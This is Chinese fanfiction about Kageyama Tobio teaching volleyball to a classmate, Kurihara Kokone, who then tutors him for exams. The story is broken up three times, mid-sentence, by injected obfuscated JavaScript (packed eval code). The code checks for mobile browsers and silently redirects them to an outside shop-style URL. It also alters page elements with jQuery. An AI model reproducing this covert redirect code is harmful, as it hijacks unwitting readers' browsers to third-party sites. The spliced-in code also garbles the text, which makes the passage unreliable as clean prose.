不是两个人唯美地在公园牵着狗漫步，也不是坐在长椅上抱着小狗亲昵地聊天。 而是在漫长的盘山路上，两个人追在比熊身后跑。 “影山说，耐力也是打好排球必要的条件，我的体力太差了。” 她看到心音一边说着，一边点头表示认可，“他说我甚至跑不过小迪。” “想要打好排球，果然不能光靠练排球这一件事，就像学国文不能刷题，还要注意平时的阅读积累一样。影山他在排球领域的见解果然独到！对吧，飞鸟。” “……嗯。” 飞鸟完全不懂国文和排球两件事之间的关联，也想象不出两个人在盘山路上追着小狗狂奔是什么样的画面，她只明确了一件事。 那就是只知道打排球的排球脑袋，和虽然嘴上说对学习没有热情，实际上一直努力当级部第一的学习狂，起码是不存在关于恋爱方面的发展可能性的。 ……大概？ 5. chapter 5 “影山！” 栗原心音将三色排球高高垫起，然后稳稳当当接下。这样循环了几次最后停下动作，她抱住排球，有些得意地看向影山飞雄，“我学的怎么样。” 即使这两周每天都在放学后加练，但心音的水平顶多就算一个勉强看得过眼的初学者。 望着那双直勾勾盯着他的眼睛，影山飞雄的目光有些游移。 【好像小迪】 就像是每次叼回他丢出的球，等待着他夸奖的小狗。 影山飞雄沉默了，他握着排球的手都有些局促，排球不听话地想要从手中溜出，久到栗原心音都觉得他变成了一个不会说话的石头。 她摸了摸自己的脑袋，“好吧，我觉得我可能确实再多练练...” 她拿着排球，向后退了两步。 “那个...”影山飞雄深吸了一口气，“如果是跟职业选手比的话还差的特别多，但是如果是跟一开始学的自己比，你已经有很大的进步了。” 他别过头，感觉栗原心音许久没有反应，于是又转回了脑袋。 他看见了一个黑乎乎的手机摄像头正对着他，后面还藏了一个圆滚滚的脑袋。 “不好意思。”虽然话是这么说，但是心音丝毫没有要放下自己手机的打算，她伸出手指，比了一个一，“可以再多夸两句吗。” 她一脸期待地看着他。 “为什么要多夸两句。” 栗原心音犹豫了片刻，还是凑到他身旁，“这是我的一个小习惯。” 她在手机上滑动了一番，点开一个视频文件夹，文件名是【夸夸合集】，随后影山飞雄在这个文件夹里看到了许多人，其中还不乏经常和他打交道的教导主任——虽说他本人并不想多和教导主任打交道。 像是注意到他的视线，栗原心音点开了那个封面是教导主任的视频。 影山飞雄看到素来凶神恶煞的教导主任以堪称【柔情似水】的目光注视着摄像头，接着说出一连串的夸奖和勉励。 “我的成绩还算好，所以教导主任当时夸我的时候，我就录了这样个视频。” “但是这如果对你有影响的话，我现在就把它删掉！” “视频什么的没有关系，但是...” “但是为什么要录这种视频吗？” 栗原心音有些不好意思地说道：“影山可能不懂，我并不是凭借自己的意志和动力什么的就可以坚持下去的那种人，所以需要这些幼稚的【夸夸】视频让自己多坚持一下。” “虽然不是很懂，但是什么方式都没有区别吧。” “嗯？” “就像是打排球，有的人是因为家里有人想要打排球，所以想打；有的人是因为和朋友一起，所以想打。只要一直在打排球，不停努力，不管是依靠什么作为动力都没有区别吧。” 栗原心音从小就听过很多安慰人和鼓气的话，其中不乏有华丽优美的辞藻，或者是寥寥几字的箴言。 影山飞雄的话很朴素也很纯粹。 但当真的注视着那双深蓝色的眼睛，莫名地有一种安心感。因为那双眼睛很真诚地告诉你，我发自内心地这样觉得。 “影山真的很会安慰人！” 通过这几天的训练，影山飞雄已经习惯栗原心音不知从什么角度散发出的感慨和夸赞了，但这一次的夸赞是从未设想可能收到的，他的语调有些升高，就像是真的因为这一句话陷入了困扰，“哈！” “是真的！因为知道不会说假话，所以就可以排除社交方面的因素，很纯粹的那种安慰！” 说完这些，栗原心音就放下了手机，再次投入排球练习中，她的心情显然有些愉悦，还小声地哼着歌。 只留下站在一旁的影山飞雄又一次陷入了沉思。 ——完全听不懂。 这是他此生第一次萌生出了关于自己是否要补补国语课的想法。 不过不管脑子里有多么纠结，影山飞雄还是很高质量地完成了五百组练习任务。 由于排球的期末考核迫在眉睫，栗原心音也加大了自己的运动量，不过是那种练习一小时休息二十分钟的渐进式加大，不知不觉就练到影山飞雄也收起排球的时候。 她在心里为自己今日【比肩影山】的成就欢呼。 “影山，你结束今天的训练了吗。”她看着影山把排球装到包里。 “是在学校的练习结束了，回家应该还能练五百组。” 好恐怖。光是想想在学校结束五百组的运动量，回家还要加练，栗原心音就感受到了一种运动过量的脱水感。体育系的男生果然都是怪物啊。 自从上次在路边遇到影山飞雄，她知道他们的家方向相同，不过影山的要更远一些，这也是他们能够一起遛狗的原因。 虽说两个人在路上都没有说话，但是莫名的有种和谐的氛围。 在路过拉面店时，心音感受到影山的眼神有些飘忽，步伐也放缓了，往一旁的小店看了好几眼。 “是想吃吗。”心音凑近询问他。 “哈？！没有。”他下意识加快了步伐，衣摆却被拽住。 ...为什么突然变得这么大力，影山被拉得寸步难行。 栗原心音真诚地想要告诉影山飞雄，他真的一点也不适合撒谎。 本来跟她说话的时候，总是别过头。一到了撒谎的时候，他就恨不得把头旋转一百八十度直接扭到背后。 这样就像是惊悚片了，栗原心音不愿看见这种事情发生。 “拉面店的老板跟我说，排球部的人好久都没来吃了。”她双手合十，“麻烦影山和我一起照顾一下老板的生意！” 影山飞雄一边说着“并没有很想吃”这样的话，一边很自觉地调转方向快步往拉面店走去。 身后的心音露出了计划通的微笑。 “啊，是小飞雄。”大叔把挂在肩上的白布拿起，拍了拍影山的左肩，“这么久不来大叔的拉面店，我还以为宫城县多了什么不知名的竞争对手跟我抢客户，大叔我下班还去其他拉面店暗访。” “不过吃了个遍还是没找到我的竞争对手到底是谁...” “大叔，我要叉烧拉面。”心音从影山身后探出脑袋，打断了藤原大叔的胡言乱语，“你要吃什么。” “猪肉咖喱温泉蛋饭组合。”还未等影山飞雄回答，藤原大叔就替他抢答了，他一边走向后厨一边说道，“从他爷爷带他来吃开始，就只会吃这一样，跟心音你完全一模一样啊。” “大叔我做的叉烧拉面和猪肉咖喱温泉蛋饭确实好吃，但是不换着吃还是会腻的吧，真是两个奇怪的小孩。” “这叫专一，大叔你不懂。”栗原心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107877|138197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音拉开椅子坐了下来。 不一会，三碗热气腾腾的饭被端上桌。影山飞雄一个人包揽两碗。 藤原大叔果然还是在拉面里加了很多倍的叉烧，估计影山的另一碗饭也是擅自加的。 “我开动了。” 两人的话音刚落，栗原心音就感受到身边有一股风开始涌动，那是影山飞雄风卷残云的进食带来的。 好，好厉害，她有些看呆了。不过她注意到影山的手其实被保养的非常好，感觉是那种经常会抹护手霜的那种保养。 活的很糙的心音开启了思考模式，她机械地向嘴里装入拉面，盯着影山的手。 果然还是应该买个护手霜啊，她又想到了那天在自动贩卖机前购买牛奶的影山飞雄。 这一次，那双手在她眼中被笼罩了一层神圣的光辉，难道影山是那种，会给手进行牛奶浴的那种人吗。 完全不知道心音内心所想的影山莫名感到自己的手有一些凉意，他放下筷子揉了揉，等稍微回暖再次开始进食。 很有默契的，他们两人都趁藤原大叔不注意，把足量的钱放在前台，然后拔腿就跑。 下一秒，藤原大叔一边挥舞着锅，一边大声地说：“你们两个下次不许来吃饭了！！！” 刚吃完饭就飞速地跑步，心音觉得自己的胃不大好受，她放慢脚步大口大口地喘着气。 影山不知从哪里拿出一瓶没有开封过的矿泉水，拧开递给了她。 “谢谢。”喝了水的心音如获新生，她微微叹了口气，“藤原大叔的父亲刚住院，他那么不容易还总想着多照顾我们一点。” 影山飞雄愣了愣，“我不知道这件事。” “大概就上个月吧，藤原爷爷年纪也大了，老人家的毛病就是会多一些。” 影山飞雄想到了自己的爷爷，他的爷爷和藤原爷爷是旧识，所以经常带着他来这家店吃，一边吃一边和藤原爷爷斗嘴，那时候两人都精神的很。 看见身边的人垂着头，身旁的气息有些低沉，心音有些担心，“影山？” “没事，我想到我的爷爷，他几个月前去世了。” 他的语气虽然很平淡，但是眼里流露出深深的眷恋。 不小心戳中别人痛处的心音立马紧张了起来：“影山，你的爷爷有没有什么很喜欢的事情呢。” “排球。他也最喜欢排球了。” “那他一定会在天上非常非常快乐地打排球，脱离了那些疾病。”心音夸张地比划着手势，试图转移影山的注意。 听到这个与他之前不谋而合的想法，他的心像是一块陷落的棉花，他笑了笑，“我也是这么想的。” “不止如此！他还会在天上，很开心地注视着影山练习排球，会一直一直看着的。如果你幸福的话，他也会很幸福。” “会吗” “这是当然的，我可是很博学的人。”眼前的女孩信誓旦旦地点头。 【我们会感到难过，是因为无法看到爷爷得到幸福】这是姐姐的话。 但是今天，他听到了另外一种说法。 【他会看到我们的幸福】 如果是这样的话，就算是没有办法看到爷爷的幸福也无所谓了，只要他能够注视着我并得到幸福。 ——“今天我要加练一千球。” “诶？！” 6. chapter 6 北川第一的校长一时兴起，把排球纳入了期末考核。 不过事实上，学校并没有足够的排球老师进行考核，于是由排球社的成员负责帮助考核，这是飞鸟告诉心音的。 【飞鸟：心音——要不要我给你放水呀】 竹早飞鸟顶多在这时候和心音开开玩笑，实际上在正式考核里，她比任何人都要较真和公平，这点心音早就明白，不过她还是顺着自己幼驯染的话跟她说道。 【Kokoro:才不要，到时候你就好好看看我进步了多少吧】 虽然现在说的云淡风轻，但栗原心音在今天下午之前都是忐忑不安的。 她躺在床上，翻出了今天下午刚刚拍摄的视频—— 在刚刚抛出的五十个球里，栗原心音接住了四十八个。 和第一天相比，已经是相当好的成绩了，通过期末考核也绰绰有余，但是她心中并不安定，她明白这是因为自己向来不擅长体育，所以不管练到什么样的程度，潜意识里都会悄悄否定自己，只能通过不断地训练让自己不要乱想了。 “栗原。”影山飞雄罕见地打断了她的练习，“今天就到此为止吧。” “哈？”栗原心音没有接住这一球，它滚到了影山的脚边，影山弯下腰，把它捡起。 “你把手机拿出来吧...就是摄像。”他清了清嗓子，目光定定地注视着摄像头，就像是要把摄像头后的人盯得发慌一样。 影山飞雄还是一样的有压迫感啊。 手持着手机深受注视的栗原这样想着，即使还不明确影山飞雄想要做什么，她心里有了一个朦胧的想法。 “明天的考核，一定没问题的。” ...... 说完这句话，影山飞雄像什么事都没有发生过一样，照常进行练习。 不过他现在练习用的是栗原心音的球。 “刚刚拍的，是夸夸视频吧！”他听见栗原心音这样问道，她琥珀色的眼睛溢满着喜悦，他看见那双眼睛里的自己虽然还是一如既往的冷面，却莫名地柔和了许多。 就像是和她一样在笑着。 在球场上，直视对手的眼睛是危险的、也是有挑战性的。 阅历丰富善于观察的选手可以通过眼球的转动，视线的偏移，来预判二传手的球路。 最初刚成为二传手的影山曾在这方面吃了不少的亏，不过后面他逐渐学会反过来运用这一招，让对手产生错误的判断。 但是从第一次直视栗原心音的眼睛起，每一次，他都会产生一种微妙的战栗感。 她的瞳色很淡，琥珀色的眼睛装满了阳光，透的像块玻璃。影山飞雄在那双眼睛里看不到她的“球路”，看不到她内心的想法。 事实上，他只能看到他自己。 而这个猜想从第一次就得到了证明，在对视之后，她问到，“所以，你是在不开心吗。” 他确实是在自己还没有意识到的时候，真切地不开心着。 还好他们不会是排球场上的对手，影山飞雄发散的思绪这样联想着。 “我也不知道那个算不算，【夸夸】视频。” “绝对是最好的夸夸视频，我一定会在考核前把它看很多遍的。”说完，栗原心音打开自己的包，像哆啦A梦的口袋一样，拿出了整整齐齐的一排矿泉水。 “这是中国的一句古话——滴水之恩，涌泉相报。” 于是当天晚上，影山飞雄的手中多了一排的矿泉水，并且积累了一个来自远方中国的古话。 ——不过后半夜，他梦到自己在荒凉的沙漠里行走，沙漠里有一只奄奄一息的小鸟，他把水囊给它，小鸟喝了几滴水，弱小的身躯瞬间变得庞大起来。 它一边说着：“滴水之恩涌泉相报。”一边飞到空中，吐出源源不断的水流。 被水流淹没的影山在汪洋大海中无奈地漂流着。 【是个很可怕的梦。】半夜惊醒的影山看着书桌上陈列的一排矿泉水这样想着。 另一边，金田一彻夜未眠，他顶着浓浓的两只熊猫眼来到学校。 “我说你，不会是害怕今天见到他吧。”国见英怀疑地看向他。 “哈？！”金田一的头发耸立得更加浓密了，“谁会害怕见到影山飞雄。” “...我还没说是他。” 国见英看向绵延平坦的道路：“虽然比赛输了，但是我并不觉得有影山在我们就能赢，你应该清楚。” “打排球的时候，场上不止一个人有想法，如果他只想凭借自己的想法打球，没有人会永远照他想的来。” 国见英推了推还愣在原地的金田一：“再不快点考核就开始了。” 果然是来的最早的，金田一的视线和影山飞雄相接。下一秒，影山先移开了视线。 男子排球的考核气氛相当的沉闷。 A同学一踏入考核场地就意识到了这点。 有一个藠头脑袋在他踏进考核地点的那一秒就开始直勾勾地盯着他看，眼神就像要把他吃掉一般。 另一边的那个M头脑袋倒是显得温和一点，他往那里走去。 然而马上，他就后悔了。 当他抛起球的那一刻，M头脑袋的目光就变得尖锐了起来，如果要描述的话，就像是医院检查时候的X光照射仪，要把他身上的毛病都剖析得清清楚楚。 A同学在眼神的恐吓下十球未接到一个。 他像褪了色的纸片一样飘出了排球馆。 相较而言，女子排球考核的氛围就显得放松了许多。 栗原心音的考核官是女排的二传选手，显然，她也认识竹早飞鸟的这位幼驯染，她冲她眨了眨眼。 栗原心音深吸了一口气，脑海里闪过之前影山飞雄演示的要点和细节。 三色排球悠悠被抛起，又稳稳地落在她的手上。 虽然为了考核准备了很长的一段时间，但是就跟所有其他的考试一样，最快的反而是将答案写满答题卡的时候。直到结束的时候才会恍然惊觉一切的结束。 “这种程度的话，满分是没有问题的。”二传选手一边登记分数，一边悄悄告诉心音这个好消息。 “好的！”她点了点头，雀跃地冲出排球馆。 首先是把自己得满分的事情告诉飞鸟，她飞快地编辑了一条消息。 【Kokoro:哼哼，达成排球满分成就，记得请我吃饭！】 然后就是，她背起装着排球的包，走向男子排球馆。 她看见藠头脑袋和一群身材高大的，显然是排球部成员的人从排球馆中走出，颇有□□出街的风范。不过她在这其中并没有看见影山的身影。 心音突然回想起影山和其他队员起了冲突这件事，她的心里一紧。说不定表面云淡风轻的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107878|138197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影山昨晚正因为这件事睡不了好觉，彻夜难眠了也说不定。 真正彻夜难眠的金田一此时若有所感地打了一个喷嚏。 过了一会，她看见影山从排球馆走了出来，顺便锁上了排球馆的门。 她挥了挥自己的双手。 ...居然没被看到。 栗原心音不爽地跳了起来挥舞着自己的双手。 这一次，影山飞雄看到了，他向这里走了过来。 栗原心音沉默地看着影山飞雄，她的表情看起来并不开心。 难道是考核没有过关吗？他有些疑惑，不过联想到今天男子排球只有百分之五十的通过率，并且许多有经验的学生都莫名地发挥的很差，难道是考核的时候紧张了？ 栗原心音垂下头，显得十分失落。 影山飞雄头脑风暴中—— 这时候该说什么样的话。 答案是不知道。 栗原心音仰起头，得意地朝他笑着：“我得了满分哦。” 意识到自己上当了，影山飞雄偏过脑袋向前走了几步。 她赶忙上前追上他，“还是影山老师教的好。”她拉了拉他的衣摆，指了指远处的自动贩卖机，“请影山老师赏脸。” 影山老师勉为其难地跟着她走到了自动贩卖机前。 栗原同学很尊师重道，让影山老师来选择想喝的饮料。 影山老师伸出了两根手指，就像是在说由上天决定喝什么吧，他按下了两个按钮。 下一秒，自动贩卖机滚出来的是两个饮品，一盒酸奶与一盒牛乳。 栗原同学把两盒奶递到他的面前，示意他挑选其中的一盒。 影山老师陷入了漫长的几乎一个世纪般的思考。 最终，栗原同学拿走了酸奶，把牛乳递到了影山的手中。 影山老师心满意足地插上吸管安逸地喝了起来。 ——所以说，果然是选择困难吧。 心音将影山的举动与第一次在自动贩卖机看到的对应起来，她有些得逞地偷偷笑着。 不用排球考核了，那么她大概也不会再来练排球了。 ...到时候练习的空间大概也会变大些，影山飞雄这样想着。 “我决定了。”他听见身旁的人这样说道，“我要帮影山补习。” 她看起来决定得好轻松，几乎没有问过我的意见。 “影山同学高中应该想上白鸟泽吧，毕竟那里的排球部很强。” 影山无法否认这一点。 “但是因为不是首发选手，所以没有保送到白鸟泽的名额。影山同学但靠成绩应该是没有办法上白鸟泽的。” 如果言语可以变化成弓箭，那么影山飞雄已经被这几句话戳穿了。 “不过如果有我的补习，最后的结果就不一定了。”栗原心音的眼睛亮闪闪的，她拍了拍自己的胸膛，“影山同学教会了我排球，那我当然要教影山学习。” “我可是【滴水之恩涌泉相报】的那种人。” 不知为何，他想起了昨晚的那个梦，梦里的小鸟也是这样【涌泉相报】着把他淹没。 本来可能到此为止的点头之交，因为突如其来的补习，就像一滴水汇入汪洋一样。 蝴蝶煽动翅膀，掀起巨浪。 但他并不抗拒。 “好。”他听到自己这样回应着。 7. chapter 7 “嘀嘀嘀…” 下一秒，一只手从被窝里伸出，在床头艰难摸索了一番，最后成功关闭了闹钟。 栗原心音用被子把头裹得紧紧的，试图用闷死自己来逃避在周末早上七点起床这件事。 【好胜心什么的，和赖床相比完全不值一提。】 /几天前 【Kokoro:所以影山平常周末几点起来，我们就早点开始吧！ 狗狗叼花jpg.】 【kgym:一般是六点。】 栗原心音打字的手停滞住了。 【Kokoro:影山是说，周末的平常，六点起床吗！！！】 【kgym:嗯，起来晨练。】 栗原心音意识到自己的早起，和对影山而言的早起完全不同。 试想在周末的清晨，天还蒙蒙亮，她和影山在空无一人的大街上寻找适合补习的地方。 ——绝对没可能。 别说是帮影山补习了，她的大脑完全会因为睡眠不足而停止转动。 【kgym:可以七点一起补习，我晨跑的时候看见周围的甜品店都是这个时候开的。】 和早上六点相比，七点显得还算可以接受。 而且身为接下来影山飞雄的补习老师，她总不能比学生还赖床吧。 /周末早晨 栗原心音现在打算全盘否定自己过去的想法，她的好胜心完全不值一提。 干脆告诉影山自己起不来，约到下午一起补习吧。 大脑这样懒惰地设想着，手却掀开了被子，硬撑着自己坐了起来。 房间里的榻榻米是紧靠着飘窗放置的，她爬到飘窗旁，视死如归般一口气拉开了窗帘。 出乎意料的，早晨的阳光并不算刺眼。 几只小鸟落在对窗的树上，又像是被她的动作吓到，扑腾着翅膀向空中飞去。 向下看去，她看到了一个熟悉的身影。 栗原心音揉了揉眼睛，难道自己还没有睡醒。 出现在街道上的是看起来已经跑了一轮正在回家的影山，他的手里还牵着小迪。 难道他是因为早上要补习，所以起得更早来完成自己的晨练任务吗。 还有小迪，如果没有看错的话，这还是那只懒懒散散喜欢靠在自己脚边，提早起床绝对不会在路边遇到的那只比熊吗。 栗原心音彻底清醒了。 她的心里只剩下了一个念头 ——影山飞雄，恐怖如斯。 她跳下榻榻米，完成了洗漱任务。 衣帽间的衣服让人看的眼花缭乱，那是心音的母亲美惠子为女儿购置的。 【说不定哪天心音有了喜欢的人，想要打扮一下，就可以用得上哦。】 母亲冲她眨眨眼。 【诶～爸爸我不允许这种事！】 事实上，在除了上学之外的日子和要去看飞鸟打排球的时候，栗原心音宁愿蜗居在自己的房间花上一整天通关推理游戏，或是预习下个学期的内容。 约会什么的，在她的世界里是不存在的。 她将自己钟爱的T恤和短裤从母亲收纳的角落里翻找出来。 又从收纳箱里翻出看起来最清爽的雏菊发圈，熟练地为自己绑上。 早餐是牛奶面包，然后把所有要用的教材通通都放到包里。 栗原心音一边小口吃着牛奶面包，一边等着影山飞雄的到来。 街角走来一个标准M字刘海脑袋的少年，可能是刚刚被眼花缭乱的衣柜炫了眼，栗原心音稍微打量了一下影山飞雄的便装。 是和自己一样的简约T恤，不过胸口那里有一只面无表情的小熊冲着人张着爪子。 那么就叫你影山飞熊吧。 栗原心音在心里偷偷给这只小熊起了个名字。 “早上好，影山同学！” “…早上好，栗原同学。” 他们并肩走在清晨静谧的街道上，影山飞雄的身上并没有刚运动完的男生的汗味，相反有一种淡淡的薄荷味，好闻到让她想要购置同款。 果然是起来晨练了，顺便还洗了个澡。 栗原心音再次感叹体育生旺盛的精力。 她递出一个牛奶面包，“影山要吗，刚晨练完应该会有点饿。” 影山飞雄接过面包，和栗原心音不同，他吃东西的速度非常迅速，就跟他跑步的速度一样，都是用“飞”的。 栗原同学，果然是有读心术的吧。 不然她怎么会知道自己今天早上去晨练了。 一旁的心音并不知道自己已经被定义成了超能力者。 “这是学校附近那家面包店的牛奶面包吗？” “影山也吃过这家的吗，他们家所有的面包都很好吃呢。” “之前排球部的几个学长都很喜欢吃那家的面包，我也吃了几次。那时候还觉得【多吃这种面包就可以很快打好排球】” “那有用吗？” 心音在那张脸上看出了明晃晃的【怎么可能】 “比起多吃面包，还是多练几个球更管用。”影山脑海中不由得浮现出发现他想法的几个前辈捧腹大笑的样子。 “我前段时间也有一次有过这种想法。我看到喝牛奶长得很高的人，所以就想着多喝几杯是不是就能长得一样高。”心音一脸期待地着影山飞雄，“所以影山有没有什么和【多练几个球】那样的，更加实际的长高方法。” “抱歉，我不知道那种办法。” 影山飞雄看见栗原心音的嘴角肉眼可见地耷拉了下来，他在自己的记忆力快速地翻找关于【长高】的知识“多晒太阳能长高。” “好，好诶。”影山飞雄斩钉截铁的语气让晒太阳能长高的这种说法多了几分可信度。 他们在街道的不远处遇到了一家开了门的甜品店，店长是一个很温柔的姐姐，在他们点好单拿出课本后，店长姐姐还送上了一块抹茶蛋糕。 “这是送给早起爱学习的小孩的奖励。”店长姐姐这样说道。 影山和栗原脸瞬间变得红扑扑的，他们相当礼貌地整整齐齐向店长姐姐鞠了个躬，“谢谢！” 店长姐姐拿着餐盘笑眯眯地离开了。 栗原心音迅速地进入了老师的模式，她扶了扶自己鼻梁上并不存在的眼睛，摆了摆手：“影山同学，你知道有一句话刚好可以来描述刚刚的场景吗。” 影山同学在这样的，充满老师气息的询问中坐直了：“不知道！” 他理直气壮地这样回应到。 栗原老师沉默了，不过她是一个素质颇高的老师：“刚刚那样叫作【早起的鸟儿有虫吃】，意思就是早起的鸟可以比其他的竞争对手更早开始捕食，也因此有更多的食物。” 影山飞雄点点头，表示他记住了。 结束了这个小常识的科普，栗原心音从自己的包里拿出一沓材料，她打算率先从最好提升的英语讲起。 是她翻找的适合中档生提高的英语资料。 栗原心音并不清楚影山飞雄具体的学习成绩，关于白鸟泽的那段发言，纯粹是因为她会看前五十名的年级大榜，而那其中从未出现过影山飞雄的名字。 对于自己的记忆力，她还是很有信心的。 不过影山飞雄并不傻，从他对于排球的领悟能力和他曾经向心音科普的一长串关于排球的难记的英语单词，就可以看出这一点了。 所以她保守地估计影山飞雄大约在年级中档的位置。 很快，这个猜测就被完全推翻了。 在讲到英语阅读时，每当栗原心音跳过一些相当常见的单词没有进行翻译，她就会感受到身边的影山陷入了微妙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107879|138197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的沉默。 而在记笔记的时候，她看见影山照着原文就像是在画画一样，用弯弯曲曲的笔触画下英语单词。 这是错觉，栗原心音这样告诉自己。 在完成了一段恍若单口相声的阅读翻译后，栗原心音住嘴了。 她看向身旁略显痴傻的影山飞雄，试探性地让他自己独立翻译。 ……她收获了一段状若完型填空的翻译。 “影山是不喜欢英语吗？” 影山同学毫不犹豫地点点头。 “为什么？” “日本人，为什么要学英语。” 栗原心音被击败了，她几乎要被这样的话说服，不过很快她找回了自己的理智：“如果日本的影响力能够大到让全世界都说日语，那我们才不用学英语。” “影山同学要当很厉害的排球运动员吧，如果不会英语，那就不能和那种很厉害的国外排球运动员交流经验了。” 栗原心音看到影山飞雄的表情有些动摇，她加大力度：“如果是这样，那也太可惜了吧影山。那可是宝贵的进步机会！” 影山飞雄被说服了。他大概是被【排球进步】这种关键词激励到了，“我会好好学英语的。” 栗原老师安心地点点头。 不过她意识到自己身为老师的失职，就是过于先入为主地认为影山同学是中档水平，这是对自己学生程度的不当把握。 于是她打算先试探一下影山的知识水平。 她抛出了两张国文和数学的卷子。 影山同学完成的很快，因为数学写不了多少，国文不知道写什么。 她审视了一番这两张没有多大信息量的卷子，起码影山的国文和数学基础还算有一点。 不要太泄气。 栗原老师这样激励着自己。 但是提升到考进白鸟泽的程度，摸着自己的良心来说，栗原老师认为这是不可能的。 如果没有【奇迹】，这样的鸿沟很难被填补。毕竟能考入白鸟泽的学生，大多平常就勤奋地学习，有着很强的基础。 ——但是万一有奇迹呢。 她看着影山把卷子交给她后，平静地望着她的神情。 起码影山有着很强大的心理素质，大多数人做不出卷子之后都会不好意思的垂下头。 影山还可以用这样平静的表情看着自己以及那张空荡荡的卷子。 再其次，影山同学有着认真不浮躁的品质。 刚刚的英语阅读，凭借影山的词汇量应该是一点都看不懂，但是他照样听她讲了整整十几分钟，还能粗略地复述一些。 最后……栗原心音有些编不出来了。 “虽然影山同学的基础真的很差，但是这说明有很大的提升空间。” 栗原心音彻底明白平常老师鼓励的话语里蕴含着多么深厚的【说话的智慧】 “那我们就先从国文开始吧！” “首先是这个词的含义…因缘际会，字面意看来是因为有缘分所以才会相遇，但是它并不能用来表述有缘分才能相遇……” 最后，在安排影山飞雄用创造关于排球的英语句子，以此来记下单词的意思后，栗原心音紧绷的神经稍微放松了一下。 她看向手机，已经过了差不多有两个半小时。 快到中午的阳光透过纱帘照的人忍不住眯起眼睛，她的头一点一点，最后安逸地落在了自己的手上。 影山飞雄刚准备把自己完成了造句背词的事情告诉心音。 映入眼帘的是她栗棕色的头发，发梢带上了一些金色的阳光。她的手微微收敛着，就像是睡着了也担心把手边的饮料打翻。 影山飞雄伸出手，把她身侧的饮料挪到了自己这一边。 他拿出了前面讲解过的国文题，垂下头，打算再复习一遍。 8. chapter 8 北川第一的大型集会是影山飞雄最讨厌的事情之一。 每当这时候，班主任奈奈子老师就会对影山飞雄严加看守，她为此付出的努力包括 ——搜身（防止他随身携带排球）、盯梢（预防他悄悄溜走）。 实际上，奈奈子老师认为影山飞雄是班级里最好管的那一类孩子，他没有任何的不良倾向，也不会跟这个年龄段大部分调皮的男生一样，为了吸引老师或者是女孩子的注意力，故意在课上和老师抬杠，亦或是抓女孩的小辫子。 他上课的时候也很安静，总是静静地看着老师，如果他能够停下在下面摸排球的小动作，就更好了。 但是，他每次都十分抗拒学校的大型集会，这让奈奈子老师很是头疼。 不过她大概能猜到其中的原因，每一次大型集会都要开很长一段时间，并且禁止学生携带任何无关的东西，以专注地接受学校教育的熏陶。 影山同学大概觉得这是对于练排球时间的一种浪费。 其实奈奈子老师也并不认为派几个学生代表和老师在上面发言，就能对学校的风气起到改变的作用。可惜她只是一个学校的打工人，校长把集会的参与人数考勤纳入了老师绩效评定的一部分，这让她不得不多管闲事。 这位新上任的校长不仅号称“德智体美劳”全面发展，把排球纳入期末考核，还大刀阔斧地改革了教师的绩效制度。 对此，学校的老师私下都颇有怨言。 尤其是那名班上女生常年年级第一的大谷老师，他愁眉苦脸了好几周，时不时拉着奈奈子老师大倒苦水，“我们班的栗原心音，那孩子可是个体育苦手，难道三年不败的级部第一神话就要陨落了吗。” 奈奈子老师并不了解栗原心音是个怎样的孩子，不过她知道大谷老师是一个非常中二的宅男，说不定他已经构思了名为《身为年级第一的我想追求平凡生活》这样的轻小说。 这不是奈奈子老师的胡编乱造，她曾经不小心看到过大谷老师的创作笔记，封面上明晃晃的一排大字很难让人不注意。 但是大谷老师低落的情绪完全没有持续多久，在期末考核栗原同学仍然获得了排球满分的好成绩后，大谷老师周围的阴云一扫而空，他开始在办公室里不经意地展示那张排球考核成绩单。 还时常打开那本创作笔记开始奋笔疾书。 奈奈子老师收回自己发散的思绪，校长的发言简直是太冗长了。 完全没有人能听得进去吧，奈奈子老师看向身边的影山飞雄。 ......他居然一动不动地注视着演讲台，听得十分认真。 “那个级部第一的女孩子真的好可爱啊。”吉原一郎自以为小声地和后面的男生三川交头接耳着。 “总算轮到我们当国三的前辈了，哇卡卡卡，也轮到我们年段的级部第一发言了。” “不过栗原同学听说非常不好惹，和长相完全不一样，是一个脑子里只有学习的怪胎，几乎不会和班上的人交流，也没什么朋友。” “那确实很奇怪啊...” 在听到前半部分的发言时，奈奈子老师还感叹于这个年龄段的孩子会单纯的因为发言人是自己年级的就感到与荣共焉，是很单纯的小孩心理呢。 不过到后半段，他们的话就开始走偏了。 单靠一些传言就评价素不相识的人吗，奈奈子老师扶了扶眼睛，打算给这两个小孩一点教训。 然而还没等到她走上前给两个小孩一个教训，一旁的影山飞雄就动了起来。 他的表情很严肃，站定在了他们两人面前。 “栗原同学不是那种人。” 他好像只打算说这一句话，说完之后，他就站在原地，盯着面前的两人。 